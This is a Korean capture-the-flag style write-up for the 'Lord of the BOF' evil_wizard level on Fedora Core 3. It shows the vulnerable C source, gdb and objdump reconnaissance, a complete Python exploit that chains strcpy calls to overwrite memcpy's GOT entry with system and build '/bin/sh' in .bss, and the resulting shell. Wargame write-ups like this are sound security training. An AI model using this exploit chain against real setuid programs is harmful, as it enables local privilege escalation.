/* The Lord of the BOF : The Fellowship of the BOF - evil_wizard - Local BOF on Fedora Core 3 - hint : GOT overwriting */ // magic potion for you void pop_pop_ret(void) { asm("pop %eax"); asm("pop %eax"); asm("ret"); } int main(int argc, char *argv[]) { char buffer[256]; char saved_sfp[4]; int length; if(argc < 2){ printf("argv error\n"); exit(0); } // for disturbance RET sleding length = strlen(argv[1]); // healing potion for you setreuid(geteuid(), geteuid()); setregid(getegid(), getegid()); // save sfp memcpy(saved_sfp, buffer+264, 4); // overflow!! strcpy(buffer, argv[1]); // restore sfp memcpy(buffer+264, saved_sfp, 4); // disturbance RET sleding memset(buffer+length, 0, (int)0xff000000 - (int)(buffer+length)); printf("%s\n", buffer); }
evil_wizard.c
이번엔 드디어 pop-pop-ret이 있다.
최근 컴파일러에는 pop-pop-ret이 꼭 있다고 한다.
시스템이 구버전이라, 이번 케이스에서는 pop-pop-ret을 강제로 넣어줬다.
hell_fire로 넘어가는 단계에서.. pop-pop-ret없이는 도저히 못하겠어서 그냥 다른 블로그를 좀 베꼈다...
원래 의도는 fgets를 이용해서 custom stack을 만드는게 아닐까 하는데,
자꾸 null이 들어가서 스택을 못만들겠다.. 무슨 방법이 있을텐데 여튼 모르겠어서 그단계는 스킵했다.
여튼 이번엔 fgets가 없는대신 strcpy와 pop-pop-ret이 주어졌다.
공격순서는
1. strcpy로 memcpy의 GOT를 system의 주소값으로 덮어쓴다.
2. strcpy로 bss영역에 "/bin/sh"를 써넣는다.
3. system("/bin/sh")를 실행시킨다.
pop-pop-ret의 주소 알아내기
$ objdump -d evil_wizard | grep pop -A 1 ... 804854f: 58 pop %eax 8048550: 58 pop %eax 8048551: c3 ret ...
memcpy got의 주소와 system의 주소 알아내기
$ objdump -h evil_wizard | grep got 19 .got 00000004 08049868 08049868 00000868 2**2 20 .got.plt 00000038 0804986c 0804986c 0000086c 2**2 $ gdb -q evil_wizard (gdb) b *main+319 (gdb) r 1 (gdb) x/10x 0x804986c 0x804986c <_GLOBAL_OFFSET_TABLE_>: 0x080497a0 0x007194f8 0x0070e9e0 0x00783d70 0x804987c <_GLOBAL_OFFSET_TABLE_+16>: 0x007d98f0 0x00730d50 0x0075e660 0x007854c0 0x804988c <_GLOBAL_OFFSET_TABLE_+32>: 0x007d9860 0x0804845a (gdb) print memcpy $1 = {<text variable, no debug info>} 0x7854c0 <memcpy> (gdb) x/x 0x8049888 0x8049888 <_GLOBAL_OFFSET_TABLE_+28>: 0x007854c0 (gdb) print system $2 = {<text variable, no debug info>} 0x7507c0 <system> (gdb) print strcpy $2 = {<text variable, no debug info>} 0x783880 <strcpy> (gdb) x/i 0x8048494 0x8048494 <_init+200>: jmp *0x80498a0 (gdb) x/x 0x80498a0 0x80498a0 <_GLOBAL_OFFSET_TABLE_+52>: 0x00783880
memcpy의 got 주소는 0x8049888, system의 주소는0x7507c0, strcpy의 주소는 0x8048494 이다.
또, /bin/sh를 넣기위한 공간을 구한다.
$ objdump -h evil_wizard | grep bss 22 .bss 00000004 080498b0 080498b0 000008b0 2**2 $ gdb -q evil_wizard (gdb) b *main Breakpoint 1 at 0x8048554 (gdb) r 1 Starting program: /home/hell_fire/evil_wizard 1 (no debugging symbols found)...(no debugging symbols found)... Breakpoint 1, 0x08048554 in main () (gdb) x/10x 0x080498b0 0x80498b0 <completed.1>: 0x00000000 0x00000000 0x00000000 0x00000000 0x80498c0: 0x00000000 0x00000000 0x00000000 0x00000000 0x80498d0: 0x00000000 0x00000000
/bin/sh은 0x80498c0 정도에 넣도록 하겠다.
그럼 이제, strcpy를 통해 넣어야하니, 필요한 글자들의 위치를 찾아낸다.
찾아내야할 문자들은, \x00,\x75,\x07,\xc0,/,b,i,n,s,h
$ objdump -s evil_wizard | grep 00 ... 8048148 03000000 0f000000 0d000000 07000000 ................ ... $ objdump -s evil_wizard | grep 75 ... 80486f4 0000005b 81c37511 00008d83 20ffffff ...[..u..... ... ... $ objdump -s evil_wizard | grep 07 ... 8048148 03000000 0f000000 0d000000 07000000 ................ ... $ objdump -s evil_wizard | grep c0 ... 8048524 ec08a19c 97040885 c07419b8 00000000 .........t...... ... $ objdump -s evil_wizard | grep / 8048114 2f6c6962 2f6c642d 6c696e75 782e736f /lib/ld-linux.so ... $ objdump -s evil_wizard | grep h ... 804836c 68980408 060d0000 h....... ...
전부 알아냈으니, 이제 exploit
import os import struct def L_E(number): return struct.pack('<I',number) PPR = 0x804854f # pop-pop-ret STRCPY = 0x8048494 MEMCPY = 0x8048434 MEMCPY_GOT = 0x8049888 BINSH = 0x80498C0 payload = 'A'*268 payload += L_E(STRCPY) payload += L_E(PPR) payload += L_E(MEMCPY_GOT) payload += L_E(0x8048524+8) # c0 payload += L_E(STRCPY) payload += L_E(PPR) payload += L_E(MEMCPY_GOT+1) payload += L_E(0x8048148+12) # 07 payload += L_E(STRCPY) payload += L_E(PPR) payload += L_E(MEMCPY_GOT+2) payload += L_E(0x80486f4+6) # 75 payload += L_E(STRCPY) payload += L_E(PPR) payload += L_E(MEMCPY_GOT+3) payload += L_E(0x8048148+1) # 00 payload += L_E(STRCPY) payload += L_E(PPR) payload += L_E(BINSH) payload += L_E(0x8048114) # / payload += L_E(STRCPY) payload += L_E(PPR) payload += L_E(BINSH+1) payload += L_E(0x8048114+3) # b payload += L_E(STRCPY) payload += L_E(PPR) payload += L_E(BINSH+2) payload += L_E(0x8048114+2) # i payload += L_E(STRCPY) payload += L_E(PPR) payload += L_E(BINSH+3) payload += L_E(0x8048114+10) # n payload += L_E(STRCPY) payload += L_E(PPR) payload += L_E(BINSH+4) payload += L_E(0x8048114) # / payload += L_E(STRCPY) payload += L_E(PPR) payload += L_E(BINSH+5) #payload += L_E(0x8048114+14) # s payload += L_E(0x8048780+5) # s payload += L_E(STRCPY) payload += L_E(PPR) payload += L_E(BINSH+6) payload += L_E(0x804836c) # h payload += L_E(STRCPY) payload += L_E(PPR) payload += L_E(BINSH+7) payload += L_E(0x8048148+1) # 00 payload += L_E(MEMCPY) payload += "AAAA" payload += L_E(BINSH) os.system('./evil_wizard '+payload)
$ python exploit.py AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAÈñ÷þ”Oˆ,”O‰”OŠú”O‹”O”O”O”O”O”OÅ…”OÆl”OÇ4AAAAÀ˜ sh-3.00$ my-pass euid = 504 get down like that
'Computer Security > WarGame' 카테고리의 다른 글
[BOF원정대/Fedora4] cruel -> enigma (5) | 2013.05.31 |
---|---|
[BOF원정대/Fedora4] dark_stone -> cruel (0) | 2013.05.09 |
[BOF원정대/Fedora3] evil_wizard -> dark_stone (4) | 2013.05.09 |
[BOF원정대/Fedora3] iron_golem -> dark_eyes (0) | 2012.12.22 |
[BOF원정대/Fedora3] gate -> iron_golem (2) | 2012.12.22 |